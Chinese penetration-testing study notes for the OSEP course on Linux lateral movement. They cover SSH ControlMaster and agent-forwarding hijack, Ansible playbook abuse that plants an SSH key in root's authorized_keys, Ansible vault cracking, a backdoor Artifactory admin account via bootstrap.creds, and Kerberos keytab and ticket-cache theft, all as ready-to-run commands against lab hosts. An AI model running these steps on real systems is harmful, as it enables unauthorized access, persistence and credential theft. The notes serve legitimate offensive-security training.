文章总结： 本文介绍了Linux环境下的横向移动技术，主要包括SSH相关的ControlMaster和agentforward技术、DevOps工具如Ansible和Artifactory的利用方法，以及Linux下的Kerberos票据操作。文章提供了详细的命令示例和配置方法，对渗透测试人员在Linux环境中进行横向移动具有实用价值。
综合评分： 89
文章分类： 渗透测试,红队,内网渗透,Linux安全,WEB安全
OSEP | Linux横向移动
原创
小A法师
高级红队专家
2024年8月1日 08:37
北京
关于笔记形式和学习方法请看OSEP学习之路 | 开篇
本篇是第六部分“Linux横向移动”技术，主要包括SSH相关、DevOPS相关以及Kerberos on Linux
1-SSH横向移动
1.1-ControlMaster
配置文件
～/.ssh/config
Host * ControlPath ~/.ssh/controlmaster/%r@%h:%p ControlMaster auto ControlPersist 10m
ssh -S /home/kali/.ssh/controlmaster/kali\@victim\:22 kali@victim
1.2-SSH agent forward
查看process tree
pstree -p <user>
2-devops横向移动
2.1-ansible
搭建环境
https://www.cnblogs.com/thirteen-yang/p/16022559.html
使用ansible命令横向移动
ansible victims -a "whoami" (--become)
getinfo.yml
---- name: Get system info hosts: all gather_facts: true tasks: - name: Display info debug: msg: "The hostname is {{ ansible_hostname }} and the OS is {{ ansible_distribution }}"
writefile.yml
- name: Write a file as ansibleadm hosts: all gather_facts: true become: yes become_user: ansibleadm vars: ansible_become_pass: ansibleadm123 tasks: - copy: content: "This is my ansibleadm content" dest: "/tmp/written_by_ansible.txt" mode: 0644 owner: ansibleadm group: ansibleadm
writefilevault.yml
---- name: Write a file as ansibleadm hosts: all gather_facts: true become: yes become_user: ansibleadm vars: ansible_become_pass: !vault | $ANSIBLE_VAULT;1.1;AES256 31393862623137316436326662393639383533353030633038376664666637313862653530653464 3339626532343433316631633938383733333064626637640a643739363536636666306535373231 32643962363830393965653033626230373935383934313866396164623236393537333563396264 6530373433653562620a613766333130326164396438616636616264613734333433626531613530 3935 tasks: - copy: content: "This is my ansibleadm content" dest: "/tmp/written_by_ansible.txt" mode: 0644 owner: ansibleadm group: ansibleadm
破解vault
$ANSIBLE_VAULT;1.1;AES256313938626231373164363266623936393835333530306330383766646666373138626535306534643339626532343433316631633938383733333064626637640a643739363536636666306535373231326439623638303939656530336262303739353839343138663961646232363935373335633962646530373433653562620a6137663331303261643964386166366162646137343334336265316135303935
ansible2john.py ./test.yml
hashcat -m 16900
解密
cat pw.txt | ansible-vault decrypt
playbooks
---- name: Get system info hosts: all gather_facts: true become: yes tasks: - name: Display info debug: msg: "The hostname is {{ ansible_hostname }} and the OS is {{ ansible_distribution }}" - name: Create a directory if it does not exist file: path: /root/.ssh state: directory mode: '700' owner: root group: root - name: Create authorized keys if it does not exist file: path: /root/.ssh/authorized_keys state: touch mode: '0600' owner: root group: root - name: update keys lineinfile: path: /root/.ssh/authorized_keys line: "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBP2DrcLXJHcxasjtCAczeaNb06uncaQHBN2mz5SmVVg kali@kali" insertbefore: EOF
3-Artifactory横向移动
检查backup文件
/opt/jfrog/artifactory/var/backup/access
bcrypt$$2a$08$tuhJUFdnKhW1m.ZIYjou1e/AB5xHQs0lOZlL18Onk9AxLhtt88MBy
破解弱密码
进入数据库
/opt/artifactory-pro-7.4.3/app/third-party/java/bin/java -jar derbyrun.jarij version 10.15ij> connect 'jdbc:derby:/tmp/hackdb/derby';ij> select * from access_users;
增加账户
创建文件
/opt/artifactory-pro-7.4.3/var/etc/access/bootstrap.creds
haxmin@*=haxhaxhax
权限设置为600
重启artifactory
/opt/artifactory-pro-7.4.3/app/bin/artifactoryctl stop/opt/artifactory-pro-7.4.3/app/bin/artifactoryctl start
log文件位置
/opt/artifactory-pro-7.4.3/var/log/console.log
4-linux下的kerberos
https://www.youtube.com/watch?v=3TPgxpjgYsU
主要命令
kinitklistldapsearch -Y GSSAPI -H ldap://dc01.corp1.com -D "[email protected]" -W -b "dc=corp1,dc=com" "servicePrincipalName=*" servicePrincipalNamekvno MSSQLSvc/DC01.corp1.com:1433
测试mssql票据
export KRB5CCNAME=/tmp/krb5cc_xxxx_xxxx mssqlclient.py admin@hfdc -no-pass -k -debug
keytab文件
ktutiladdent -password -p [email protected] -k 1 -e rc4-hmacwkt /tmp/administrator.keytabquit
注意大小写
利用keytab文件
kinit [email protected] -k -t /tmp/administrator.keytab
smbclient -k -U "HACK4FUN\administrator" //hfdc.hack4fun.local/C$# or we can use psexec on kali after downloading keytab filepsexec.py -keytab ~/OSEP/administrator.keytab hack4fun.local/administrator@hfdc
利用cached文件
export KRB5CCNAME=/tmp/xxxxdo whatever you want
坚持自律做最好的自己
免责声明：
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景，旨在提升网络安全防护能力，具有明确的技术研究属性。
任何单位或个人未经授权，将本文内容用于攻击、破坏等非法用途的，由此引发的全部法律责任、民事赔偿及连带责任，均由行为人独立承担，本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布，若存在版权侵权或其他异议，请通过邮件联系处理，具体联系方式可点击页面上方的联系我。
本文转载自：高级红队专家 小A法师《OSEP | Linux横向移动》